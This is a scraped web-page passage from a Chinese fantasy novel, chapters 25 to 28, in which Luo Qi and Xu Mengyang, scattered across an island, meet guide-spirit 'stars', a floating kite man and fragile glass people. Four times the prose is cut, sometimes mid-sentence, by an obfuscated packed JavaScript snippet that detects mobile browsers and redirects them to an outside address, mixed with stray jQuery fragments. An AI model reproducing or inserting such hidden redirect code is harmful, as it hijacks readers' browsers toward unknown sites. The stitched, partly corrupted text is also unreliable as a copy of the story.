;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618107|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一的白色十字。十字相交处,盘旋着两条细细的白色衔尾蛇。 黑雾带走了白昼,乌云覆月,夜空高悬于顶。 他环顾四周,也只能听到若有似无的风声,和一声鸦叫。 这种感觉怎么说呢……洛祈卸下紧绷,像被打劫了一样。 “啊~”头顶有微光出现,毛茸茸的声音由小变大,“吓死我了!” 洛祈:…… 哟,你还知道出来啊。 叮铃叮铃。也许是没听到洛祈回应,星星有些不太好意思地响了下。 “……说好的,你是我的指导灵呢?”洛祈倒不是什么爱计较的人,但也实在是有些无语,“怎么关键时刻你跑的比谁都快啊……” 之前的感动差点一扫而光,爱不起了。 “我最害怕移形雾了!”星星小声道,像用尾巴遮住面颊,声音有些发闷,“而且我本来胆子也不大……” 洛祈感到很神奇:“星星……也有胆小的吗?” “那当然啦!”毛茸茸的声音变得清脆起来,“星星们也是有不同性格的哦!” 这倒有意思了。 怪不得我胆子也不大,洛祈腹诽。 “对了,”洛祈回想星星的话,“你刚刚说的移形雾,是什么啊?” “就是刚刚那一大~片黑雾啊!”星星放大了些音量,“移形雾脾气可差了!来无影去无踪的,喜欢四处警告,还好小祈刚刚没有被它包裹住呢。” “被它包裹住?”洛祈问,“那会怎么样?” “千万不行!”星星炸了毛一般,“移形雾没有实体,可以变换任何形态,只要是看见可疑的人,就会扑上去。而被它的无形包裹住的人,就惨啦,只能凭它的意愿随便改变形态,很危险的!” “你是说……如果被它包裹住,就是它变成什么样,里面的人就变成什么样?” “是呀!” 如果它变得不成人形,那里面的人也……洛祈这才由衷地感到后怕。 这里恐怕比他想象的,还要危险。 他得赶紧找到同伴们。 洛祈在原地转了一圈,才看见自己的行李箱和背包,正杵在两个白色十字旁边,模样破败,十分凄惨。他连忙跑过去拾起,心道还好没给我都卷走。 “头盔呢?”刚刚那阵阴风来势凶猛,不出意外地刮落了头盔,洛祈觉得应该离不了太远,便紧盯地面开始找起来。 而这时,他才发现了一个非常神奇的现象。 原本的地面,目之所及是大片深黑色的焦土。可此时此刻,他每踏一步,都会刚好在他脚下出现一小块青翠草甸! 就像他曾在接引陆块见过的那种。 洛祈抬步一踩,左脚下的焦土晕开,变成青青草甸,但也只是周围一小块。他撤回来,那块草甸又随之合拢,变回焦土。换另一只脚依然如此。 “好神奇……” 洛祈就这么一步一踩,难得轻松,像得了乐趣一般,边瞧着边走,好一会儿才找到了头盔。 “还好没丢。”洛祈擦了擦头盔上的尘土,尝试着戴上,重新开机。 灯带闪动,一个熟悉的声音随之出现。 “你好,洛祈。” 25.风筝人 再次听到黑牒的声音,让洛祈感到些许安心。 “太好了……终于又能听清楚了。” “是的,洛祈。”黑牒回应,“你还好吗?” 不太好……洛祈想说。 不光是那些孩子们,刚刚遭遇的那阵黑雾,也让洛祈有些手足无措。况且他那十五个物件被卷走了,但他还没有搞清楚,那些旋律到底都意味着什么。 “别担心。”黑牒说,“抱歉我又听了你的想法。但是我已经把刚才出现过的旋律全部录制下来了。你可以随时调取使用。” “真的?”洛祈如释重负,“太好了!没关系的,谢谢你,黑牒。” “不客气。”黑牒说。 仔仔细细将剩下的物件全部清点了一遍之后,洛祈背上背包,拉起行李箱,刚准备走,头盔中的传感耳机内突然嗞啦一声。 “……有、”熟悉的声音换了一个,“呃,有人在听吗?哈喽哈喽?” 绝对是许梦扬无疑了。 “我在。”洛祈回应。 “啊!是洛祈吗?”许梦扬听起来很高兴,“终于有个人能跟我说话了。” “很抱歉刚才都没有‘人’跟你说话。”黑牒说。 “啊哈哈哈……”许梦扬笑得有些抱歉,“我不是那个意思啦黑牒。你也很好。” 洛祈在这边忍俊不禁。 “对了洛祈,”许梦扬转回话题,“你怎么样了啊?” “一言难尽。”洛祈说,“你那边呢?你现在在哪呢?” “我也不太清楚啊……”许梦扬说,声音显得有些飘忽。 “根据坐标显示推算,你们应该正处于一个五边形的不同板块。”黑牒回答,“以洛祈为原点的话,许梦扬在洛祈的东北侧,直线距离大约23000米。” “这么远啊?”许梦扬顿了顿,忽然反应过来,“那如果均分的话,我们每个人,是不是都在一个三角形里啊?” “很有可能。”黑牒说,“这需要等待更多的人开机,加以验证。” “行吧。”许梦扬的声音一滞,“哎呀你……” 后面这一句不像是对他们中任何一个说的。 洛祈有些疑惑:“怎么了吗?” “啊,”许梦扬才回神似的,飘忽的声音再次传来,“洛祈啊,你在那边有没有见到一些奇怪的东西啊?” “什么奇怪的东西?” 洛祈感觉他见的奇怪的东西还挺多,不知许梦扬是指哪一个。 “或者说奇怪的人吧……”许梦扬听起来似乎正在运动,“谁知道这是什么东西!” “奇怪的人?”那还真有,洛祈回想,“我在这边见到几个……像气球一样的人,你是指这个吗?” “气球?”许梦扬停顿一下,“哦,差不多,是那种会飘起来的吗?” 飘起来?那好像没有。 洛祈回答:“不是哎,我见到的是会像气球一样充气膨胀的那种。” “啊?”许梦扬改口道,“那咱俩见的应该不是一个。我这边见到的这个,一直在往天空上飘,这是个什么啊!”语气忽然重了下,“风筝成精了?” 洛祈:风筝? 说到许梦扬那边的情景,就别有一番趣味了。 坦白讲,许梦扬确实在运动,他正在一跳一跃的,忙着把一个距离他不远、但总往上空飘的“人”——拉回地面。 整个人累得气喘吁吁。 而那个人看起来也非常古怪——他的身躯既宽且厚,却又感觉很轻,轻到无法让他落在地面上,随时都要往上飘。牛顿要是见了这人,恐怕棺材板儿都得掀了。 许梦扬说他像风筝是有原因的。 他整个人的上半部分最大,甚至比起下半身有点过大了,双臂张开,犹如被木架支撑起的风筝蒙面。而到了下半身,那简直只能用诡异来形容。 从髋部起,这人的宽度和厚度就开始不正常的大幅缩小。圆圆胖胖的大腿迅速收缩,到了膝盖处……就已经如同一般人的小臂大小了。 这还没完,再往下呈倒三角状,还在继续收小。 小腿……那简直不能称之为小腿。姑且算这人的最后一截吧,越来越薄,越来越窄,越来越细小,越来越没有分量,到了两只脚那里就已经完全像两段线头了——细细的跟尾巴似的,正在微风中飘来荡去。 “别再飘了啊我说!” 许梦扬抓住一根“线”,再次把他拉了下来。 “噢!小伙子!”那人语调夸张,“我们又见面了啊!” 许梦扬:……什么又见面,我和你一直在见面好吗。 说起来也是挺无语的,这人从许梦扬刚上岛没一会儿的时候就缠上他了,非要让许梦扬鉴定一下自己是不是神的化身。 许梦扬整个一脸懵逼。 “看来我们真有缘啊!小伙子!”那人又说,甚至还不忘偏过头,朝他挑了挑眉。 “什么有缘……” 微风荡漾,许梦扬趁他还没飘太高时,又拉了一把。 “你有看见我身上的神性吗?”那人摇晃着圆圆的脑袋,棕色的头发凌乱飘着,像是颇为得意,语调上扬,唇上是一层厚厚的已经染霜的胡须。 许梦扬不得不再一次开始怀疑,自己是否碰到了什么NPC。 因为这人一直在说这些有的没的,而且每当他飘得太高、又被许梦扬拉下来之后,就仿佛失忆了一样,非常惊喜地重新开始这个对话,像个轮回。 这个对话轮回,许梦扬刚刚已经经历过两次了。 “我没看到什么神性……”许梦扬无语道,倒是感觉看到一个神经。 “噢!”那人用一种刻意的惋惜——但实际并不是真的惋惜,反而是有些嘚瑟的口吻道,“小伙子!太可惜啦,你没有慧根哦!” 风筝人眼看就要飘过许梦扬头顶。 “啊是是是。”许梦扬懒得敷衍,踮起脚赶紧拉了一下,免得话题又重新开始。 “我一定是神的化身~”风筝人打横过来,像个漂浮板开始左摇右摆,仿佛徜徉在一个美妙的乌托邦,“完美~” 正说着,起风了。 风筝人就那么原地横着翻转一圈,眼睛闭起,还是美滋滋的。 “我们来说点儿实际的东西吧。”虽然刚刚已经问过,但许梦扬又问了一遍:“……你能告诉我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630359|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里是哪儿吗?” “啊!这里?”风筝人睁开眼,“这里是理想国啊!” 许梦扬:…… 问了也白问。 “那你有看到这里除了我,还有别的人吗?”许梦扬开始死马当活马医,“跟我类似的人哈,不算你这样的。” “噢!当然不会有人跟我类似啦,”风筝人嗔怪道,“我可是神的化身!最特别的那一个!我还能飞哎,谁能有我厉害呢?至于跟你类似的嘛……”他“呃”了一下,“哦呵呵……没注意哎!” 风大了些,许梦扬再次拉了一下风筝人,已经把无语焊到脸上了。 他一边走着一边观察,四周都是很常见的海岛样貌,除了空无一人,没什么特别的。 忽然许梦扬想到一个办法,“那个,”他不知道该怎么称呼这位,便说,“神的化身先生。” “噢呵呵,”风筝人像忽然来了劲,“嗯哼?” “你可以帮我个小忙吗?比如飞上高处去看看周围,毕竟高处的视野比较好。”许梦扬真诚道,“作为神的化身,我想你一定会愿意普度众生吧。” “唔……”风筝人的语调拖长,“那是……肯定啦……”随后,他问许梦扬,“你是说,让我看看有没有跟你类似的人吗?” “是啊,”许梦扬道,“非常感谢你,神的化身先生。” “噢呵呵……好吧。”风筝人有些陶醉,脸上止不住笑意,眼看就要随风而起,可忽然又一顿,凑近许梦扬悄声道,“呃,做你说的这件事,会不会影响到我身上的神性啊?” “……我想不会的,神的化身先生。”许梦扬维持着一种职业微笑,露出牙齿,绷住嘴角,“帮助了普通人,身上的神性一定会更加熠熠生辉哦。” “噢~好啊~”风筝人像是再也没有后顾之忧,他随风翻转了一下,“完美!” 然而他刚刚飞起来,风也随之变大,吹得他连续翻转了好几圈。风筝人开始东摇西晃起来,看得出他刚开始还挺悠闲,但没一会儿就发出被风鼓动的声响,“嗷嗷~”的似乎想停下来。 很显然,他欲静而风不止,停是停不下来的。 在晃晃悠悠了几十米之后,终于“喀嚓”一下,撞上了不远处的一颗高大橡树,而且很不幸,还被卡在树杈上了。 叶片被震得纷纷飞落。 许梦扬:…… 一点都不意外呢。 他只好快步走过去,冲着上面喊道:“喂!你还好吗?” 风筝人宽大的身躯斜斜卡在树杈上,几乎是倒悬的,听见声音,他扭转脖子,以一个很别扭的姿势往下看许梦扬,然后非常惊喜地“噢”了一声,“小伙子!” “我们又见面了啊!”风筝人语调夸张地说。 这熟悉的语气……许梦扬简直想扶额,不是吧,又重来? “看来我们真有缘啊!小伙子!” 许梦扬懒得回应他了。他环顾四周,寻摸着找点什么东西,风筝人卡在那里飘也飘不上去,得想个办法把他搞下来。 “你有看见我身上的神性吗?” 风筝人的声音悠悠传来。 看见个鬼,闭嘴吧你。 26.爬树高手 很遗憾,周围除了高大的橡树就是一些低矮的灌木丛。沙土松软,根本没有什么东西能让许梦扬拿来解救风筝人。 许梦扬回到树下,抬头观察,风筝人那两条尾巴正贴着树干零落地飘着。他伸出手掌拍了拍树干,感觉还挺结实。 一个许久不曾出现的念头渐渐在心头升起——要不,爬上去? 虽然团队里的伙伴没几个人知道,但爬树这件事,对许梦扬来说简直是轻车熟路。 小时候住的家属院后山有一片白杨林,他又是个天生“孩子王”,天天带着一帮小孩跑东闯西,可没少因为“爬树”这事儿挨过打。 最严重的一次,许梦扬至今还记得很清晰——是爬一颗歪脖子树,让他老实躺床了一个月。 那是整片白杨林为数不多的古树,树干粗大到需要十个孩子合抱才堪堪围住。 那古树的脖子歪到什么程度呢? 树的主干先是分出五根粗大分枝,分枝高高耸起,从远处看,就像一个沧桑的老者伸出一只枯手向上天索要着什么。 之后再分出去的枝桠,东南西北各表一枝,一枝就能越过五棵白杨树。 所有的孩子都不敢爬,数他最能耐,这时候当大哥的岂能认怂? 说爬就爬,七岁的许梦扬身手敏捷,三下五除二爬上了古树的五个枝桠分叉处。 底下的孩子连连叫好,无不敬仰。 小许梦扬颇为得意。七岁的小男孩,正是觉得自己无所不能的时候。 他雄心壮志,决定挑战最长也最抖的那一枝。 起初,尽管是分枝,枝桠也足够粗大,完全够一个小孩站立。小许梦扬蜷着身子压低重心,偶尔用手借力支撑,往斜上方爬得相当稳当。 底下的孩子们一个个瞪大眼睛,不时发出小小的赞叹声。 到了枝桠再次分叉处,许梦扬暂歇片刻,往下一瞧,孩子们屏息凝神,拍手鼓掌,俨然像在观看一场精彩的表演。 掌声那叫一个雷动……极大地满足了当时的许梦扬,他迷失在一个个殷殷期盼的眼神中,甚至有点想炫个技了。 步上下一个分枝,宽度骤然收缩,根部最粗之处也只有许梦扬一脚半的宽度了。 走了两步,感觉还行。他的胆子渐渐大起来。 “富贵”险中求。蜷着的身子开始慢慢站直,手也不用来借力了,小许梦扬一点一点张开双臂,一摇一晃努力平衡,脚下宛如走独木桥。 孩子们惊叹的声音此起彼伏,太令人满足了。此时的他还全然意识不到“乐极生悲”就在不远处候着呢。 走到几乎最后一截时,已经距离地面七八米。 就在许梦扬决定立定敬礼,给自己这次表演来个“圆满的谢幕”时。转身的一瞬间脚下一滑,整个人失去重心眼看就要跌落。 “啊!!”孩子们吓惨了,一个个尖叫起来。 没成想小许同学千钧一发间,两只手竟迅速攀住脚下的树枝,虽然自己也是心跳擂鼓,吓得半死,但还是嘿嘿一笑,“没事。”可紧接着,耳边就传来“喀叽喀叽”的声音。 挂着的小许同学暗道不妙,但根本没来得及想别的,就从断裂的树枝上垂直坠落,咚的一声摔在地上,尘土飞扬,痛得他整个蜷缩起来。 完美的句号没画成,画了个完美的惊叹号。 最后的结果就是左脚脚踝和右臂手肘骨折,还硬生生磕掉两颗牙(当然现在已经长好了)。又被爸妈耳提面命一个月,“看你以后还敢不敢乱爬树!” 好吧,确实是比较久远的记忆了,许梦扬想。打那以后,他就金盆洗手,爬树的英勇事迹减了不少。 如今再次重操旧业,想想还有点兴奋呢。 眼前这棵橡树主干很直,若论高度,比那棵古树可就高太多了。许梦扬手脚比脑子快,边爬边估算着距离。 他功力不减当年,此时又手长腿长,很快便爬到了风筝人附近。 “噢!小伙子!”风筝人又像失了忆,惊喜道,“我们又见面了啊!” “是啊。”许梦扬一左一右抓着枝桠,找了个着力点撑住身体,难得没有敷衍,跟风筝人打起商量,“我可以帮你脱离这些树杈,恢复自由,但前提是,你得带我下去。” “噢呵呵……”风筝人倒悬着看他,“那太好了,你想要我怎么做呢?” “等下我会掰开卡住你的地方,”许梦扬说,“但你离开树杈时,我需要抓着你的提线,降落下去。” 根据他一路上拉拽风筝人的经验,他综合判断以自己的重量,和树干的高度,风筝人应该可以起到一个“降落伞”的作用。 “噢呵呵……好啊。”风筝人说。 获得许可,许梦扬伸出手勾住风筝人的提线尾巴,在自己的左手背上缠了好几圈。 远处阵风袭来,叶片沙沙作响。 许梦扬专注于找到那个关键的枝桠,并未注意到有什么东西正在接近。 终于,他抓住那根卡在风筝人骨架后端的小分枝,咔嚓一下掰断,风筝人立刻开始松动,有往上飘的趋势了。 左手背上的提线收紧,此时许梦扬只需跳下去,降落到地面就算完事。 可忽然间,一片阴影突兀地遮住了头顶的阳光。 许梦扬疑惑抬眼,还没看清是什么东西,就听见像是风鼓动蒙面的声音。他眼前一闪,无数金色粉尘飞扑而来。 许梦扬下意识闭眼,抬臂挡脸,向后倾身,以免那些东西飞进眼睛。 如此一来身体重心偏移,势必不稳——还好他提前缠了提线,许梦扬想。 但紧接着左手背一痛,许梦扬感到拉力骤减。曾经那种“不妙”的感觉回来了。 身体开始下坠,风声在耳畔作响。 电光石火间,许梦扬清晰地意识到,此时的情况远比小时候要凶险得多。 首先这棵树少说也有十几米,相当于住宅楼的四五层了。其次,他这回是仰翻过去,不出意外的话会是头先着地。 完了。 就在他感到重力加速度越来越快,一切都如同浮光掠影,地面几乎近在咫尺时—— 忽然,他的身体猛地停滞了下,仿佛一个紧急制动被开启,惯性被急速缓冲,甚至有所回弹。 一瞬间好似万籁俱寂。 许梦扬仰面朝天,阳光有些刺眼。 如同做梦一般,他心跳如雷,缓缓起身,整个人止不住地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643454|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大喘气,低头查看自己的情况。 他悬停在了距离地面十公分的位置。 多么凶险,又多么幸运。 许梦扬感觉整个后背冷汗涔涔。 他向下伸出手,想看看是不是真的,手指触到地面的瞬间,身体又猛地一坠,像是身下无形之物被抽走,这才猛然坐到地上。 “你还是这么莽撞啊。”一个冰冰凉凉的声音幽幽响起。 许梦扬:? 他迅速转头,什么都没看到。又转回来,把四周看了一圈,还是什么都没见到。 “我还以为,不需要我出手呢。” 这个声音怎么说呢?许梦扬感觉就像冬日下雪后、屋檐上结的冰凌垂下来、在破晓时分融化后的第一滴冰露。 “谁?”许梦扬感受着声源,总觉得那声音离自己很近。 “手脚骨折还没让你明白……”那声音凉凉道,“勇敢和莽撞,有时候只是一线之隔么?” 许梦扬莫名道:“你很了解我?” “还行吧。”那声音说,仿佛甚为笃定,“比你自己要了解你一点。” 许梦扬失笑,觉得有点意思,“虽然不知道你是谁,但你方便告诉我,你……怎么称呼?” “我没有称呼,”那声音依旧冰凉地说,“但你可以叫我,星星。” “星星?”许梦扬回味着它说的话,“冒昧地问一下,刚刚是你……救了我?” “是啊。” “为什么?”许梦扬忍不住问,总觉得这个星星似乎并不喜欢自己。 “因为我是你的指导灵。”星星说。 许梦扬还是有些莫名其妙,他脑袋中的疑惑很多,但毕竟更莫名其妙的事都经历过了,也只能渐渐接受。 “好吧。”他真诚地说,虽然不知道该冲向哪,“不管怎么样,都要谢谢你。” 星星“嗯”了一声,语气似乎柔和了点。 冰凉的星星不再说话了,许梦扬也不知道说什么。说来也奇怪,他跟人相处的时候,极少碰到这种两厢沉默的状况。 想他一个天生e人……难得感受到了点“尴尬”的氛围。 算了,以后再说吧。 许梦扬有些疲惫,想站起身,他双手在地上一撑,左手背传来的剧痛给了他一激灵,“嘶——” 好痛好痛! “怎么了?”星星问。 “啊……”他这才低下头,看见自己的左手背上有一道不小的口子,正狰狞地流着血,鲜血滴滴答答,已经染红了旁边的一些沙土,怪不得那么疼。 应该是刚才掉下来之前……不知道怎么搞的。 “没事。”许梦扬喘匀了气,并不是很想麻烦这个冷淡的星星,他单手拉过背包,只想赶紧找东西包扎一下止血。 星星发出一个短促的、类似于霜花结冰的声音。像是“啧”的一声。 随后,许梦扬听见一个很柔和的“嘀嗒”声,如同露水落在石块上,又滑下去。 痛感减轻,他惊讶地发现自己手背上的伤正一点点缩小,流血逐渐停止,裂口不再狰狞,直到完全愈合。 星星又不再出声了。 真像只猫啊,许梦扬想。 27.玻璃人 风筝人早已不见踪影。 许梦扬对这种“不靠谱”已经甚感熟悉,此刻再次印证,也只徒留一串省略号。 他重新连接上传感通讯:“哈喽?能听见吗?” “我能。”那边的洛祈有一茬没一茬地听着,听得一愣一愣的,也只了解个大概——似乎发生了什么惊险的事情,他有些担心,“你还好吗?” “还活着。” “那就好,”洛祈庆幸,“对了,我在这边通过物灵配对,对孩子们的消失有了一些发现!” “是吗?”许梦扬兴奋起来,“说说看?” 于是洛祈把气球人、那个戴黄色发卡的小女孩、连同另外十四个孩子的情况都说了一遍,听得许梦扬眉头紧锁。 直到听见那些孩子应该“还活着”才舒展了些。 “所以你的意思是,这是一场关于人口拐卖的消失案?” 许梦扬问,但又一想,“不对啊,作案人都不尽相同,孩子们是怎么集体出现在这座岛上的?” “我也感觉……不一定。”洛祈诚实地说,“毕竟还有很多物件没有出现反应。” 总觉得哪里不太对劲。 随后他又把移形雾出现说过的话重复了一遍。 “你觉得有没有可能,”洛祈迟疑,“是一些超自然的力量干的?” “以前我不好说,不过现在……”许梦扬想了想自己的遭遇,“确实有可能。” “可是这么做的原因是什么呢?”洛祈困惑。 许梦扬认真思索一番,没想出来。 “你觉得呢,星星?”洛祈问道。 叮铃叮铃。 “我是小祈的指导灵,只解答小祈相关的事情哦~”毛茸茸的声音说,“小祈想要了解其他人的事,要根据指引,自己去探索答案呢。” “好吧。” “星星?”许梦扬捕捉到关键词,“你也遇见了星星?” “是啊。”洛祈顿时反应过来,“你也?” “啊。”许梦扬不知道那个星星还在没在,“我刚刚……碰见过。” “刚刚?” 洛祈这才把星星告诉他的一切,又全部转述给了许梦扬。 “你是说……”许梦扬感到不可思议,“那个星星指导灵,现在就在我头顶?” “应该是的。”洛祈说。 “……”许梦扬没有洛祈那么自如,他反倒觉得有些局促,有个星星正在头顶观察他?还是那个像冰霜一样的星星? 他在原地打了个转,已经开始想下一步要迈哪只脚了。 忽然传感耳机内的线路仿佛有一瞬间的串频,有两个声音一前一后汇入了耳朵。 “有人在吗?”/“嗨大家……” 两个声音沉默一瞬,仿佛都在等待对方说话——一秒、两秒、三秒、结果谁都没说。 “你们有看见伊甸……”/“我找不到……了。” “等下等下……不要急,”许梦扬在另一头失笑,“让我们一个一个来。” 洛祈辨认出了声线:“是埃文还有索尔吗?” “是,”埃文率先道,语气非常焦急,“你们看见伊甸了吗?我找不到她了!” “没有哎,”洛祈说,“我和许梦扬也并不在一处。” “根据我们刚才同步的信息,”许梦扬说,“我猜大家都被打散了。” “那怎么办?”埃文语气变得更快,“她还那么小……” “你先别太担心,埃文。”许梦扬也皱起眉,但此时不能自乱阵脚,便宽慰道,“伊甸不是个普通孩子,你知道的不是吗?” “可是,可是……” “是啊,”洛祈不知道该怎么安慰他,但还是说,“……或许她比你我都更有自保的能力。” “好吧。”——说话的是索尔,语气透着些无奈。 “你怎么样了索尔?”许梦扬道,“刚刚准备说什么?” “我刚想说的其实差不多……”索尔叹了口气,“我找不到Ryan了。糟糕的是,他的东西全都在我这。” 洛祈惊道:“啊?那怎么办?” 那就说明,阮廷榭可能会完全联系不到其他人。 “……不知道。”索尔语气难得有点丧,但很快他又振作起来,“没事,我会找到他的。” “各位,”黑牒适时出声,“根据你们目前的视野和坐标定位,以及传感系统对附近发出的超声波回弹反馈——已经基本可以推算出,你们确实是在一个五边形岛屿的不同板块。大概率是五个三角形。当然不排除会有更多切分的方式。这还要参考剩余几人的坐标和视野信息。” 许梦扬盘了一遍人,“那我们就还有伊甸、阮阮、塞勒和柯里丝没有联系了。” “对,”洛祈道,“希望大家都平安无事。” “目前岛屿的地图正在绘制中。”黑牒说,“稍后会为你们规划会和的路线。” “好的,谢谢你黑牒。”洛祈说。 话音刚落,洛祈不经意发现自己手上的珠串,以一种很缓慢的速度转动起来。那几颗白水晶正开始渐渐变得清澈。 他刚想同步这个信息,就听见耳机内传来“啊!”的一声。 是埃文。 “怎么了吗?”许梦扬问。 “没、没事……”埃文在那头说,但有很明显的吸气声,“我得、得快点找到伊甸。” 无怪乎埃文如此着急,因为他遇见的,恐怕是目前为止,几个人中最为恶劣的一个处境了。 眼前是乌云滚滚,荆棘遍地。处处都是丛生多刺的灌木。 而他刚才,正是被一枝长长的荆棘枝勾破了袖子,细密的荆棘在手腕上留下一道道白印,逐渐地泛肿、变成了四道红色血痧。 闪电划过,雷云聚集翻腾,铅灰色的天空越压越低、越来越厚,最后一阵雷暴响动,暴风雨和阵阵闪电倾洒下来。 埃文尽量快步走着,有什么东西在眼前飘过(像一个模糊的轮廓),他没注意,身体因惯性从那个不甚清晰的影子旁擦过去。 忽然,他听见了一阵不长的、像是什么东西开裂的声音。 声音从背后传来,埃文停下步伐,回头望去,看见了极为古怪的一幕—— 在刚刚那个模糊的、几乎透明的“影子”身上,以他不小心擦到的那处为中心,开始逐渐出现裂痕。 喀拉、喀拉。 裂痕如冰纹一般散开。从一条,散成三条、五条、甚至更多细痕…… 而那个模糊的几乎只有边缘的“影子”也逐渐清晰起来,这时埃文才发现,这是一个从头到脚完全透明的,玻璃人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673754|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而这个“人”似乎还会隐形,所以他刚刚才没注意到。 裂痕停了下来,并没有造成破碎。 被他擦到的玻璃人先是停滞了一下,仿佛怔在原地,然后缓缓回过头,看向自己身躯开裂之处,又抬头看向埃文。 那一刻,尽管玻璃人的脸上只有浅凹的轮廓,根本谈不上任何五官——埃文还是不可思议地,从他的神情中读到了一种名为“恐惧”的情绪。 玻璃人转回头不再看他,但发出小而尖的玻璃摩擦的声音,像是非常害怕眼前这个让他身躯开裂的物体。 “啊,”不知为什么,埃文觉得自己应该跟他道个歉,“抱歉。” 可他刚一上前,玻璃人透明的身躯就猛地瑟缩,随即做出一幅“逃跑”的架势。 他看起来那么瘦小,顶多像一个十岁的孩子。埃文即刻止步,但玻璃人面朝向他,开始逐渐往后退缩。 为了不吓到玻璃人,埃文就那么一动不动,等他撤退。可是忽然,一枝从灌木丛伸出的荆棘条——戳到了玻璃人正在后退的身躯。 立时有刮痕出现在薄薄的玻璃上。 玻璃人猛地回头,可是并不敢上前,他犹豫着,开始慌不择路地后退——却又撞上身后一团茂密的荆棘丛。 喀拉,喀拉,喀拉…… 玻璃人的腿上被戳破了许多小孔,从孔的边缘又开始延伸出了冰纹一般的裂痕——只不过这次要严重得多。 “呜……”玻璃人发出了比刚刚更大的玻璃摩擦的声音,像是一个突然的呜咽。 裂痕散布开来,不断向前,似乎没有停下的趋势——终于,有一丛裂痕和刚刚被埃文“擦出”的裂痕交汇——喀喇一声,几块小小的碎片从交汇处掉了下来。 埃文感觉自己被那个声音刺痛了。 玻璃人再次怔在原地,他无声地看了看埃文、那枝戳到他的荆棘条,和那团尖锐的灌木丛。 他不再发出声音,只是缓缓蹲下身,一片一片捡起自己身上的碎片。 又把碎片一块一块,放回自己身体的破洞处。 最后,他轻轻拂了拂碎裂处,像是在安抚自己。很神奇地,碎片和身躯又像是黏合了一般,变得完整,而有裂痕。 玻璃人站起身,却似乎不知该往哪走。埃文忍不住移到旁边,给他让出一条路。 尽管周围的路上,依旧荆棘丛生。 玻璃人犹豫了好一会儿,才缓慢地走起来,他又开始变得模糊,渐渐隐去身形,只剩轮廓。似乎变得“隐形”就能让他摆脱荆棘的尖刺。 他缓缓地走远了,直到看不见了,埃文回过头,这才注意到周围还有许多若隐若现、几乎透明的影子。 那些是隐形的玻璃人。 他们似乎正偷偷看向这边,却又都不敢现身。 埃文心情复杂,不知该做什么反应,只好一边移动一边观察,尽量别碰到他们。 可忽然在那些模糊的影子中,埃文看见了一个非常熟悉的轮廓——近乎同样的身形高度、头发外形……他双眼蓦地睁大。 那个轮廓比其他模糊的影子都要清晰一些,此刻就站在不远处,也在望着他。 于是传感通讯内所有搞不清状况的人,都听见埃文说了一句难以置信的话—— “我好像……见到莉安了。” 28.萨满少女 埃文从未想过会再次见到十二岁的莉安。 这怎么可能…… 他狠狠眨了眨眼,可眼前分明是多年前见过的熟悉轮廓。 即便那是个隐形的玻璃人。 那个轮廓停留片刻,向后退去,开始逐渐模糊,似乎变得跟其他影子差不多了。 眨眼的瞬间,埃文就好像跟丢了人一样,“莉安!”他喊道,忍不住向前走去,想看看那到底是什么。 可就在这时,脚下的荆棘开始拔节蔓延,成倍增加,短短的尖刺变长,路面变得更加难行。 还好他穿的牛皮靴足够厚,才不至于被硬刺扎穿了鞋底。 埃文继续向前走着(尽量避开另外那些模糊的影子),可这些活物一般的荆棘枝似乎并不想放过这人。 一根荆棘枝从灌木丛中突兀地伸出,横亘在埃文正迈向前的小腿边,尽管他眼疾腿快,抬高了步伐,但还是被绊了个趔趄。 还好…… 至少没摔,他有那么一两秒的庆幸。 但紧接着,侧颈上针扎一般的痛感让他恍然回神,这才发现周边的荆棘枯枝已然疯长起来。 他开始变得举步维艰。 风雨暂歇,天空逐渐变成一种难以描述的淤紫色。视野更加晦暗了。 埃文拨开一枝荆棘条,仍向前走着,却已经无暇顾及其他。 荆棘张牙舞爪,如恶魔的触手肆意伸展,尖刺在晦暗光线中闪烁着诡异的光。 在左突右闪的躲避中,终于不出意外地,还是让埃文蹭到了一个模糊的身影。 碎裂声即刻响起。 可根本没来得及等埃文感到抱歉,就听见一连串更大更快的“喀喇喀喇”声,清脆又刺耳。 